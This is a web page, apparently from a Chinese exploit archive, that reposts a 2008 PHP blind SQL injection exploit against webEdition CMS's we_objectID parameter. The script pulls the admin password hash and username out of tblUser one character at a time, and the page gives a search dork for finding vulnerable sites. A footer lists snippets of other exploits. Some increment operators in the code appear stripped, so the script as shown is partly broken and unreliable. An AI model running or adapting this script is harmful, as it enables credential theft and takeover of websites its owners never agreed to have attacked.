webEdition CMS (we_objectID) Blind SQL Injection Exploit

所属分类: 网络安全 / Exploit 阅读数: 139
收藏 0 赞 0 分享
<?php
ini_set("max_execution_time",0);
print_r('
###############################################################
#
# WebEdition CMS - Blind SQL Injection Exploit
#
# Vulnerability discovered by: Lidloses_Auge
# Exploit coded by: Lidloses_Auge
# Special Greetz to: H4x0r007 (who sent me a vulnerable Page)
# Greetz to: -=Player=- , Suicide, g4ms3, enco,
# GPM, Free-Hack, Ciphercrew, h4ck-y0u
# Date: 20.08.2008
#
###############################################################
#
# Dork: inurl:we_objectID=
# Admin Panel: [Target]/webEdition/
# Usage: php '.$argv[0].' [Target] [Userid]
# Example for http://www.site.com/en/****.php?we_objectID=21
# => php '.$argv[0].' http://www.site.com/en/****.php?we_objectID=21 1
#
###############################################################
');
if ($argc > 1) {
$url = $argv[1];
if ($argc < 3) {
$userid = 1;
} else {
$userid = $argv[2];
}
$r = strlen(file_get_contents($url."'and 1=1/*"));
echo "\nExploiting:\n";
$w = strlen(file_get_contents($url."'and 1=0/*"));
$t = abs((100-($w/$r*100)));
echo "Password: ";
for ($j = 1; $j <= 32; $j ) {
for ($i = 46; $i <= 102; $i=$i 2) {
if ($i == 60) {
$i = 98;
}
$laenge = strlen(file_get_contents($url."'and ascii(substring((select passwd from tblUser where id=".$userid." limit 0,1),".$j.",1))>".$i."/*"));
if (abs((100-($laenge/$r*100))) > $t-1) {
$laenge = strlen(file_get_contents($url."'and ascii(substring((select passwd from tblUser where id=".$userid." limit 0,1),".$j.",1))>".($i-1)."/*"));
if (abs((100-($laenge/$r*100))) > $t-1) {
echo chr($i-1);
} else {
echo chr($i);
}
$i = 102;
}
}
}
echo "\nUsername: ";
for ($i=1; $i <= 30; $i ) {
$laenge = strlen(file_get_contents($url."'and ascii(substring((select username from tblUser where id=".$userid." limit 0,1),".$i.",1))!=0/*"));
if (abs((100-($laenge/$r*100))) > $t-1) {
$count = $i;
$i = 30;
}
}
for ($j = 1; $j < $count; $j ) {
for ($i = 46; $i <= 122; $i=$i 2) {
if ($i == 60) {
$i = 98;
}
$laenge = strlen(file_get_contents($url."'and ascii(substring((select username from tblUser where id=".$userid." limit 0,1),".$j.",1))>".$i."/*"));
if (abs((100-($laenge/$r*100))) > $t-1) {
$laenge = strlen(file_get_contents($url."'and ascii(substring((select username from tblUser where id=".$userid." limit 0,1),".$j.",1))>".($i-1)."/*"));
if (abs((100-($laenge/$r*100))) > $t-1) {
echo chr($i-1);
} else {
echo chr($i);
}
$i = 122;
}
}
} } else {
echo "\nExploiting failed: Not enough arguments?\n";
}
?>

更多精彩内容其他人还在看

VMware Workstation (hcmon.sys 6.0.0.45731) Local DoS Vulnerability

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - - Orange Bat advisory - Name : VMWare Workstation (hcmon.sys 6.0.0.45731)
收藏 0 赞 0 分享

webEdition CMS (we_objectID) Blind SQL Injection Exploit

<?php ini_set("max_execution_time",0); print_r(' ############################################################### #
收藏 0 赞 0 分享

FlashGet 1.9.0.1012 (FTP PWD Response) BOF Exploit (safeseh)

#!/usr/bin/perl # k`sOSe 08/17/2008 # bypass safeseh using flash9f.ocx. use warnings; use strict; use IO::Socket; # win32_ex
收藏 0 赞 0 分享

WS_FTP Home/Professional FTP Client Remote Format String PoC

################################################################################################################## # # Ipswitch WS_FTP
收藏 0 赞 0 分享

EO Video 1.36 Local Heap Overflow DOS / PoC

#!/usr/bin/python # -------------------------------------------------------------- # EO Video v1.36 Heap Overflow local PoC/DoS exploi
收藏 0 赞 0 分享

ESET Smart Security 3.0.667.0 Privilege Escalation PoC

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - - Orange Bat advisory - Name : ESET Smart Security 3.0.667.0 Class
收藏 0 赞 0 分享

BurnAware NMSDVDXU ActiveX Remote Arbitrary File Creation/Execution

----------------------------------------------------------------------------- BurnAware NMSDVDXU ActiveX Control Remote Arbitrary File Cr
收藏 0 赞 0 分享

iGaming CMS

#!/usr/bin/perl # ---------------------------------------------------------- # iGaming <= 1.5 Multiple Remote SQL Injection Exploit
收藏 0 赞 0 分享

Rianxosencabos CMS 0.9 Remote Add Admin Exploit

#!/usr/bin/perl -w # Rianxosencabos CMS 0.9 Remote Add Admin Exploit # Download: http://downloads.sourceforge.net/rsccms/rsccms.tar.gz
收藏 0 赞 0 分享

CJ Ultra Plus

#!/usr/bin/perl # # CJ Ultra Plus <= v1.0.4 Cookie SQL Injection # # found and coded by -SmoG- /GermAn hAckZ0r # contact: ICQ
收藏 0 赞 0 分享
查看更多